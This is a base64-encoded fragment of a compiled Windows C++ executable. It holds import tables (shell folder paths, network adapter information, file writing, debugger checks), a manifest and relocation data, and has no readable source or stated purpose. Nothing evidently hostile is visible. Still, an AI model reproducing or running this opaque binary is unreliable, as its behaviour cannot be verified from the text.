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BZMZAQAAANCiQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADQ////AAAAAP7///+qc0AAvnNAAAAAAAD+////AAAAAMz///8AAAAA/v///wt1QAA0dUAAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAJF1QAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA9nVAAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAAjd0AAAAAAAP7///8AAAAA2P///wAAAAD+////G3pAAC56QAAAAAAA2MJAAAAAAAD/////AAAAAAwAAADIcUAAAAAAAPTCQAAAAAAA/////wAAAAAMAAAA8B1AAAIAAADYo0AAvKNAAAAAAAAAEEAAAAAAAPSjQAD/////cIRAACIFkxkBAAAAEKRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAP////+ghEAA/////6iEQAABAAAAAAAAAAEAAAAAAAAA/////7CEQABAAAAAAAAAAAAAAADFHUAAAgAAAAIAAAADAAAAAQAAAGSkQAAiBZMZBQAAADykQAABAAAAdKRAAAAAAAAAAAAAAAAAAAEAAAD/////4IRAAP/////ohEAAAQAAAAAAAAABAAAAAAAAAP/////whEAAQAAAAAAAAAAAAAAAlBtAAAIAAAACAAAAAwAAAAEAAADUpEAAIgWTGQUAAACspEAAAQAAAOSkQAAAAAAAAAAAAAAAAAABAAAA/////wAAAAD/////AAAAAAEAAAAAAAAAAQAAAAAAAABAAAAAAAAAAAAAAADeGEAAQAAAAAAAAAAAAAAAVRhAAAIAAAACAAAAAwAAAAEAAAA8pUAAAAAAAAAAAAADAAAAAQAAAEylQAAiBZMZBAAAABylQAACAAAAXKVAAAAAAAAAAAAAAAAAAAEAAAD/////QIVAACIFkxkBAAAAqKVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAGioAAAAAAAAAAAAAISoAAAckgAAmKYAAAAAAAAAAAAAGLUAAEyQAAB4pwAAAAAAAAAAAABCtwAALJEAAEymAAAAAAAAAAAAAOa4AAAAkAAAVKYAAAAAAAAAAAAATLoAAAiQAAAAAAAAAAAAAAAAAAAAAAAAAAAAANS4AAAAAAAABroAAPa5AADcuQAAyLkAAKq5AACOuQAAMroAAGa5AABWuQAARrkAADC5AAASuQAACrkAAPS4AAB6uQAAHLoAAAAAAABKqwAAdKsAAKirAADoqwAAFKwAADisAAB2rAAAkKwAAK6sAADWrAAA8KwAACytAABsrQAArq0AAPKtAAAyrgAAeK4AAL6uAAAIrwAARq8AAJKvAACorwAA5K8AADCwAABWsAAAkLAAANKwAAD+sAAAFrEAAEqxAACAsQAA6rEAACCyAABksgAAlrIAAMyyAAAOswAAZrMAAKCzAAAKtAAAQrQAAIi0AADStAAAzKgAAOyoAAAMqQAALqkAAHSpAACyqQAA8qkAADSqAACQqAAAdKoAAMSqAAAEqwAAAAAAAIC2AACItgAAkrYAAKC2AACwtgAAurYAAMS2AADQtgAA2rYAAOS2AADwtgAA+rYAAAS3AAAOtwAAFrcAACC3AAAwtwAAOrcAAFC3AABetwAAbrcAAHi3AACAtwAAjrcAAJa3AACitwAArrcAALy3AADStwAA5rcAAPK3AAD8twAADrgAACK4AAAsuAAAOrgAAEK4AABMuAAAYrgAAJi4AACyuAAAxLgAAHi2AABYtgAAPrYAACi2AAAStgAA6rUAAOC1AADWtQAAxrUAALa1AACutQAApLUAAIK1AABGtQAAJrUAAPS1AABitQAAAAAAAHCoAAAAAAAAvwBTSEdldEZvbGRlclBhdGhBAABTSEVMTDMyLmRsbACnAj9jb3V0QHN0ZEBAM1Y/JGJhc2ljX29zdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAMUBBAACOAj9fWG91dF9vZl9yYW5nZUBzdGRAQFlBWFBCREBaAIwCP19YbGVuZ3RoX2Vycm9yQHN0ZEBAWUFYUEJEQFoADQY/dW5jYXVnaHRfZXhjZXB0aW9uQHN0ZEBAWUFfTlhaAMgFP3NwdXRuQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUFFX0pQQkRfSkBaAABTAj9fT3NmeEA/JGJhc2ljX29zdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVYWFoAAMUFP3NwdXRjQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUFFSERAWgCRAz9mbHVzaEA/JGJhc2ljX29zdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVBQVYxMkBYWgAIAT8/Nj8kYmFzaWNfb3N0cmVhbUBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFBRUFBVjAxQEhAWgAADwE/PzY/JGJhc2ljX29zdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVBQVYwMUBQNkFBQVYwMUBBQVYwMUBAWkBaAACcBT9zZXRzdGF0ZUA/JGJhc2ljX2lvc0BEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFBRVhIX05AWgAAawM/ZW5kbEBzdGRAQFlBQUFWPyRiYXNpY19vc3RyZWFtQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQDFAQUFWMjFAQFoAAJ4BP19EZWNyZWZAZmFjZXRAbG9jYWxlQHN0ZEBAUUFFUEFWMTIzQFhaANIBP19HZXRnbG9iYWxsb2NhbGVAbG9jYWxlQHN0ZEBAQ0FQQVZfTG9jaW1wQDEyQFhaAAD2AT9fSW5pdEA/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQElBRVhYWgAAkQI/YWx3YXlzX25vY29udkBjb2RlY3Z0X2Jhc2VAc3RkQEBRQkVfTlhaAADzAT9fSW5jcmVmQGZhY2V0QGxvY2FsZUBzdGRAQFFBRVhYWgCwAT9fR2V0Y2F0QD8kY29kZWN2dEBEREhAc3RkQEBTQUlQQVBCVmZhY2V0QGxvY2FsZUAyQFBCVjQyQEBaAJ4APz8xX0xvY2tpdEBzdGRAQFFBRUBYWgAA7wE/X0lkX2NudEBpZEBsb2NhbGVAc3RkQEAwSEEA/wM/aWRAPyRjb2RlY3Z0QERESEBzdGRAQDJWMGxvY2FsZUAyQEEAAGAAPz8wX0xvY2tpdEBzdGRAQFFBRUBIQFoAgQA/PzE/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFVBRUBYWgAANwI/X0xvY2tAPyRiYXNpY19zdHJlYW1idWZARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBVQUVYWFoAAIICP19VbmxvY2tAPyRiYXNpY19zdHJlYW1idWZARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBVQUVYWFoAAKwFP3Nob3dtYW55Y0A/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQE1BRV9KWFoACgY/dWZsb3dAPyRiYXNpY19zdHJlYW1idWZARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBNQUVIWFoAADUGP3hzZ2V0bkA/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQE1BRV9KUEFEX0pAWgA4Bj94c3B1dG5APyRiYXNpY19zdHJlYW1idWZARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBNQUVfSlBCRF9KQFoAjAU/c2V0YnVmQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBATUFFUEFWMTJAUEFEX0pAWgDnBT9zeW5jQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBATUFFSFhaACwEP2ltYnVlQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBATUFFWEFCVmxvY2FsZUAyQEBaAACaAT9fQkFET0ZGQHN0ZEBAM19KQgAAJgA/PzA/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQElBRUBYWgAA7AM/Z2V0bG9jQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUJFP0FWbG9jYWxlQDJAWFoAAKgBP19GaW9wZW5Ac3RkQEBZQVBBVV9pb2J1ZkBAUEJESEhAWgAAeAA/PzE/JGJhc2ljX2lvc3RyZWFtQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAVUFFQFhaAFkCP19QbmluY0A/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQElBRVBBRFhaACkCP19Jb3NfYmFzZV9kdG9yQGlvc19iYXNlQHN0ZEBAQ0FYUEFWMTJAQFoAYAE/P183aW9zX2Jhc2VAc3RkQEA2QkAAPAE/P183PyRiYXNpY19pb3NARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEA2QkAAAHUAPz8xPyRiYXNpY19pb3NARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBVQUVAWFoAAAoAPz8wPyRiYXNpY19pb3N0cmVhbUBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFBRUBQQVY/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEAxQEBaAAAwBD9pbkA/JGNvZGVjdnRARERIQHN0ZEBAUUJFSEFBSFBCRDFBQVBCRFBBRDNBQVBBREBaAACRBT9zZXRnQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBASUFFWFBBRDAwQFoAABUGP3Vuc2hpZnRAPyRjb2RlY3Z0QERESEBzdGRAQFFCRUhBQUhQQUQxQUFQQURAWgAA5gQ/b3V0QD8kY29kZWN2dEBEREhAc3RkQEBRQkVIQUFIUEJEMUFBUEJEUEFEM0FBUEFEQFoA1gA/PzU/JGJhc2ljX2lzdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVBQVYwMUBBQUlAWgAAEQE/PzY/JGJhc2ljX29zdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVBQVYwMUBQNkFBQVZpb3NfYmFzZUAxQEFBVjIxQEBaQFoAAHsAPz8xPyRiYXNpY19pc3RyZWFtQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAVUFFQFhaAAARAD8/MD8kYmFzaWNfaXN0cmVhbUBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFBRUBQQVY/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEAxQF9OQFoAQgE/P183PyRiYXNpY19pc3RyZWFtQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBANkJAAABRBT9yZWFkQD8kYmFzaWNfaXN0cmVhbUBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFBRUFBVjEyQFBBRF9KQFoA7gU/dGVsbGdAPyRiYXNpY19pc3RyZWFtQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUFFP0FWPyRmcG9zQEhAMkBYWgB1BT9zZWVrZ0A/JGJhc2ljX2lzdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRQUVBQVYxMkBfSkhAWgAATVNWQ1AxMDAuZGxsAAANAT93aGF0QGV4Y2VwdGlvbkBzdGRAQFVCRVBCRFhaAF0APz8xZXhjZXB0aW9uQHN0ZEBAVUFFQFhaAAAiAD8/MGV4Y2VwdGlvbkBzdGRAQFFBRUBBQlFCREBaACQAPz8wZXhjZXB0aW9uQHN0ZEBAUUFFQEFCVjAxQEBaAADRBW1lbW1vdmUAZgVhdG9pAABlAD8/M0BZQVhQQVhAWgAAYwA/PzJAWUFQQVhJQFoAAM8FbWVtY3B5AADNBW1lbWNocgAA0wVtZW1zZXQAABUAPz8wYmFkX2Nhc3RAc3RkQEBRQUVAUEJEQFoAADoBX19DeHhGcmFtZUhhbmRsZXIzAAAhAV9DeHhUaHJvd0V4Y2VwdGlvbgAAWQA/PzFiYWRfY2FzdEBzdGRAQFVBRUBYWgAUAD8/MGJhZF9jYXN0QHN0ZEBAUUFFQEFCVjAxQEBaAHoFZmdldGMAhQVmcHV0YwAfBnVuZ2V0YwAAJANfbG9ja19maWxlAACOBF91bmxvY2tfZmlsZQAAeQVmZmx1c2gAAOsFc2V0dmJ1ZgDQBW1lbWNweV9zAACWBWZ3cml0ZQAAewVmZ2V0cG9zAFkCX2ZzZWVraTY0AJIFZnNldHBvcwB2BWZjbG9zZQAAwANfbWtkaXIAAIsFZnJlZQAAxAVtYWxsb2MAAHoAPz9fVkBZQVhQQVhAWgDvBXNwcmludGYAZwVhdG9sAABNU1ZDUjEwMC5kbGwAAMUBX2Ftc2dfZXhpdAAAYwFfX2dldG1haW5hcmdzANwBX2NleGl0AAAqAl9leGl0AC0BX1hjcHRGaWx0ZXIAcwVleGl0AABkAV9faW5pdGVudgCwAl9pbml0dGVybQCxAl9pbml0dGVybV9lAOwBX2NvbmZpZ3RocmVhZGxvY2FsZQCiAV9fc2V0dXNlcm1hdGhlcnIAAOsBX2NvbW1vZGUAAEUCX2Ztb2RlAACfAV9fc2V0X2FwcF90eXBlAAACAT90ZXJtaW5hdGVAQFlBWFhaAI0EX3VubG9jawBbAV9fZGxsb25leGl0ACMDX2xvY2sAyQNfb25leGl0APsBX2NydF9kZWJ1Z2dlcl9ob29rAADuAD9fdHlwZV9pbmZvX2R0b3JfaW50ZXJuYWxfbWV0aG9kQHR5cGVfaW5mb0BAUUFFWFhaAAAhAl9leGNlcHRfaGFuZGxlcjRfY29tbW9uALgCX2ludm9rZV93YXRzb24AAO8BX2NvbnRyb2xmcF9zAAA/AEdldEFkYXB0ZXJzSW5mbwBJUEhMUEFQSS5ETEwAAOwCSW50ZXJsb2NrZWRFeGNoYW5nZQCyBFNsZWVwAOkCSW50ZXJsb2NrZWRDb21wYXJlRXhjaGFuZ2UAANMCSGVhcFNldEluZm9ybWF0aW9uAADqAEVuY29kZVBvaW50ZXIAygBEZWNvZGVQb2ludGVyAMAEVGVybWluYXRlUHJvY2VzcwAAwAFHZXRDdXJyZW50UHJvY2VzcwDTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAANJc0RlYnVnZ2VyUHJlc2VudACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAJMCR2V0VGlja0NvdW50AADFAUdldEN1cnJlbnRUaHJlYWRJZAAAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAS0VSTkVMMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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Npk2nzayNsc20jboNgA3CjdPN1U3WzdhN2c3bTd0N3s3gjeJN5A3lzeeN6Y3rje2N8I3yzfQN9Y34DfpN/Q3ADgFOBU4GjggOCY4PDhDOIw4kjicOKQ4qTjKOM847jiYOZ05rznNOeE55zlOOlQ6YTp+Oss60DoSOzU7QjtOO1Y7XjtqO5M7mzumO6w7sju4O747xDvKO9A71jvcO+U7+zsqPEg8XjyUPLI85Dz1PAs9UT1ePWo9iT2SPbU9CD6OPrg+xT7OPu8+CD8RPyc/nD/bPwCAAAAwAAAACjBMMJ0w4zBgMawxBzIqMvAzOjRINF40ijTKNAo1MjVwNXo1hjUAAACQAADsAQAAKDIsMjgyPDJsMnAydDKIMowykDKUMpgynDKgMqQyqDKsMrAytDK4MrwywDLEMsgyzDLQMtQy2DLcMuAy5DLoMuwy8DL0Mvgy/DIAMwQzCDMMM0AzRDO0M7gzvDPAM6Q1qDUgNiQ2NDY4Njw2RDZcNmA2eDaINow2oDakNrQ2uDa8NsQ23DbsNvA2ADcENwg3DDcQNxQ3GDccNyA3JDcoNzA3SDdMN2Q3dDd4N3w3gDeEN4g3jDeQN5Q3mDegN7g3yDfMN9A31DfYN+A3+DcIOAw4EDgUOBw4NDg4OFA4YDhkOGg4cDiIOJg4nDikOLw4wDjYONw49Dj4OBA5IDkkOSg5LDkwOTg5UDlgOWQ5dDl4OXw5gDmEOYg5kDmoObg5vDnMOdA52DnwOQA6BDoUOhg6HDokOjw6TDpQOlg6cDoMOxQ7HDsoO0g7TDtUO2g7cDt8O5w7qDvIO9Q7/DsgPCw8NDxMPFg8eDyEPKg8yDzQPNg84DzoPPA8+DwAPRA9JD0wPTg9UD1YPWg9cD2IPZw9qD2wPcg92D3gPeg98D34PQA+CD4YPiA+KD4wPjw+XD5kPnA+mD6sPrg+wD7YPuA+6D74Pgg/ED8YPyA/LD9MP1g/eD+AP4w/rD+0P8A/5D8AAACgAAD4AAAABDAMMBQwHDAkMCwwNDA8MEQwTDBUMFwwZDBwMJQwtDC8MMQwzDDUMNww6DAMMSwxNDE8MUQxTDFUMVwxZDFsMXQxfDGEMYwxlDGcMaQxrDG0MbwxxDHMMdQx3DHkMewx9DH8MQQyDDIUMhwyJDIsMjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMuAyFDMYMzQzODNYM3gzmDO0M7gzwDPUM9wz8